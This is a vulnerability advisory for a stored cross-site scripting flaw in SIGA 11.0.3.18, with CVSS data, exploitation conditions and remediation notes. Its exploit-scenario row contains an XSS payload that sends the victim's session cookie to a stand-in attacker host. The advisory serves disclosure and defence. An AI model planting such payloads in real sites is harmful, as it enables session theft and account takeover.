EUVD-2026-25666Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
9DescriptionCVE.org
A vulnerability was found in projeto-siga siga 11.0.3.18. The affected element is an unknown function of the file /sigawf/app/responsavel/novo. Performing a manipulation of the argument Nome/Descrição results in cross site scripting. The attack can be initiated remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.
AnalysisAI
Stored cross-site scripting (XSS) in projeto-siga SIGA 11.0.3.18 allows authenticated remote attackers to inject malicious scripts via the Nome/Descrição parameter in the /sigawf/app/responsavel/novo endpoint. Successful exploitation requires user interaction (UI:R) and an authenticated session (PR:L), limiting impact to information disclosure (I:L). …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three specific conditions: (1) Valid SIGA user account with permissions to access the /sigawf/app/responsavel/novo endpoint (typically administrator or manager role), allowing authenticated POST request submission. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This vulnerability presents low real-world risk despite public POC availability, primarily due to authentication and interaction requirements. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with valid SIGA login credentials (or who has compromised a user account) navigates to /sigawf/app/responsavel/novo and injects JavaScript (e.g., <img src=x onerror='fetch(//attacker.com?cookie='+document.cookie)'>) into the Nome or Descrição field, then submits the form. The payload is stored in the database. … |
| Remediation | Apply a security patch when released by the projeto-siga team. … Detailed patch versions, workarounds, and compensating controls in full report. |
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